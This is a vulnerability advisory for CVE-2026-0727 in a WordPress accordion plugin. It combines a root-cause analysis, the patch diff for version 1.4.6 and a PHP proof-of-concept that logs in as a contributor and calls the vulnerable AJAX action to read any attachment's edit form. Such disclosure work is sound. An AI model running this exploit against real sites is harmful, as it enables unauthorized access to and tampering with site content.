Atomic Edge analysis of CVE-2026-0727:
This vulnerability is a missing authorization flaw in the Accordion and Accordion Slider WordPress plugin, affecting versions up to and including 1.4.5. It allows authenticated users with contributor-level permissions or higher to read and modify metadata for any site attachment, bypassing intended access controls.
The root cause lies in the `wp_aas_get_attachment_edit_form` function within the file `accordion-and-accordion-slider/includes/admin/class-wp-aas-admin.php`. The vulnerable function, spanning lines 287-322, handled AJAX requests to fetch an attachment’s edit form. The code verified a nonce and an attachment ID but lacked a capability check. The condition `if( ! empty( $attachment_id ) && wp_verify_nonce( $nonce, ‘wp-aas-edit-attachment-data’ ) )` did not confirm the requesting user had permission to edit the specified post (attachment). This allowed any authenticated user who could obtain a valid nonce to access the form for any attachment.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `wp_aas_get_attachment_edit_form`. The request must include a valid `nonce` (which contributors can obtain) and the `attachment_id` parameter specifying the target attachment. A successful request returns the HTML form containing the attachment’s metadata fields, including file path, title, caption, alt text, and custom link. The related `wp_aas_save_attachment_data` function, referenced in the description, would similarly allow modification of this data using the same authorization bypass.
The patch in version 1.4.6 adds two critical authorization checks. First, it adds `current_user_can( ‘edit_post’, $attachment_id )` to the conditional statement on line 291. This ensures the current user has the specific capability to edit the post corresponding to the provided attachment ID. Second, the patch adds a check that the retrieved post object is of the `attachment` type (`’attachment’ === $attachment_post->post_type`). This prevents potential confusion with other post types. The patch also changes the default `$attachment_id` assignment to `0` for type consistency and removes `esc_js` from some message strings, though these are not security fixes.
Successful exploitation allows an attacker to view and alter sensitive attachment metadata. This includes modifying the file path, which could facilitate broken image links or potential path manipulation issues. Attackers can deface site content by changing titles, captions, and alt text. Modifying custom links could introduce malicious redirects. While this does not grant direct file upload or remote code execution, it enables unauthorized data manipulation and can be a stepping stone in a broader attack chain, impacting data integrity and site presentation.
--- a/accordion-and-accordion-slider/accordion-and-accordion-slider.php
+++ b/accordion-and-accordion-slider/accordion-and-accordion-slider.php
@@ -6,7 +6,7 @@
* Author: Essential Plugin
* Text Domain: accordion-and-accordion-slider
* Domain Path: /languages/
- * Version: 1.4.5
+ * Version: 1.4.6
* Author URI: https://essentialplugin.com
*
* @package Accordion and Accordion Slider
@@ -18,7 +18,7 @@
}
if ( ! defined( 'WP_AAS_VERSION' ) ) {
- define( 'WP_AAS_VERSION', '1.4.5' ); // Version of plugin
+ define( 'WP_AAS_VERSION', '1.4.6' ); // Version of plugin
}
if( ! defined( 'WP_AAS_DIR' ) ) {
--- a/accordion-and-accordion-slider/includes/admin/class-wp-aas-admin.php
+++ b/accordion-and-accordion-slider/includes/admin/class-wp-aas-admin.php
@@ -287,25 +287,22 @@
// Taking some defaults
$result = array();
$result['success'] = 0;
- $result['msg'] = esc_js( __('Sorry, Something happened wrong.', 'accordion-and-accordion-slider') );
- $attachment_id = ! empty( $_POST['attachment_id'] ) ? wp_aas_clean( $_POST['attachment_id'] ) : '';
+ $result['msg'] = __('Sorry, Something happened wrong.', 'accordion-and-accordion-slider');
+ $attachment_id = ! empty( $_POST['attachment_id'] ) ? wp_aas_clean( $_POST['attachment_id'] ) : 0;
$nonce = ! empty( $_POST['nonce'] ) ? wp_aas_clean( $_POST['nonce'] ) : '';
- if( ! empty( $attachment_id ) && wp_verify_nonce( $nonce, 'wp-aas-edit-attachment-data' ) ) {
+ if ( ! empty( $attachment_id ) && wp_verify_nonce( $nonce, 'wp-aas-edit-attachment-data' ) && current_user_can( 'edit_post', $attachment_id ) ) {
$attachment_post = get_post( $attachment_id );
- if( ! empty( $attachment_post )) {
+ if ( ! empty( $attachment_post ) && 'attachment' === $attachment_post->post_type) {
ob_start();
-
- // Popup Data File
- include( WP_AAS_DIR . '/includes/admin/settings/wp-aas-img-popup-data.php' );
-
+ include WP_AAS_DIR . '/includes/admin/settings/wp-aas-img-popup-data.php'; // Popup Data File
$attachment_data = ob_get_clean();
$result['success'] = 1;
- $result['msg'] = esc_js( __( 'Attachment Found.', 'accordion-and-accordion-slider' ) );
+ $result['msg'] = __( 'Attachment Found.', 'accordion-and-accordion-slider' );
$result['data'] = $attachment_data;
}
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0727 - Accordion and Accordion Slider <= 1.4.5 - Missing Authorization to Authenticated (Contributor+) Attachment Metadata Modification
<?php
$target_url = 'https://vulnerable-site.com';
// Configuration: Attacker credentials (Contributor or higher)
$username = 'contributor';
$password = 'password';
// Target attachment ID to read metadata from
$target_attachment_id = 123;
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress as a contributor
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Visit a page to obtain a valid nonce for the plugin's AJAX action.
// The nonce is typically printed in admin pages where the plugin is used.
// For this PoC, we assume we can fetch it from the post edit screen for a post type the plugin handles.
// Alternatively, a nonce can be retrieved from a page source if the plugin enqueues scripts globally.
// This step is environment-specific; a real exploit would first scout for a nonce.
// For demonstration, we set a placeholder. A real attack requires a valid nonce.
$nonce = 'VALID_NONCE_HERE';
if ($nonce === 'VALID_NONCE_HERE') {
echo "Error: Replace 'VALID_NONCE_HERE' with an actual nonce obtained from the site.n";
exit;
}
// Step 3: Exploit the missing authorization to fetch the attachment edit form
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_fields = [
'action' => 'wp_aas_get_attachment_edit_form', // The vulnerable AJAX hook
'attachment_id' => $target_attachment_id,
'nonce' => $nonce
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);
// Parse the JSON response
$data = json_decode($response, true);
if (isset($data['success']) && $data['success'] == 1) {
echo "[+] SUCCESS: Retrieved edit form for attachment ID $target_attachment_idn";
echo "[+] The form HTML contains the attachment's metadata fields.n";
// The 'data' key contains the HTML form with current metadata values
// file_path, title, caption, alt_text, custom_link, etc.
// echo "Data preview: " . substr($data['data'], 0, 500) . "...n";
} else {
echo "[-] EXPLOIT FAILED.n";
echo "Response: " . $response . "n";
}
curl_close($ch);
?>
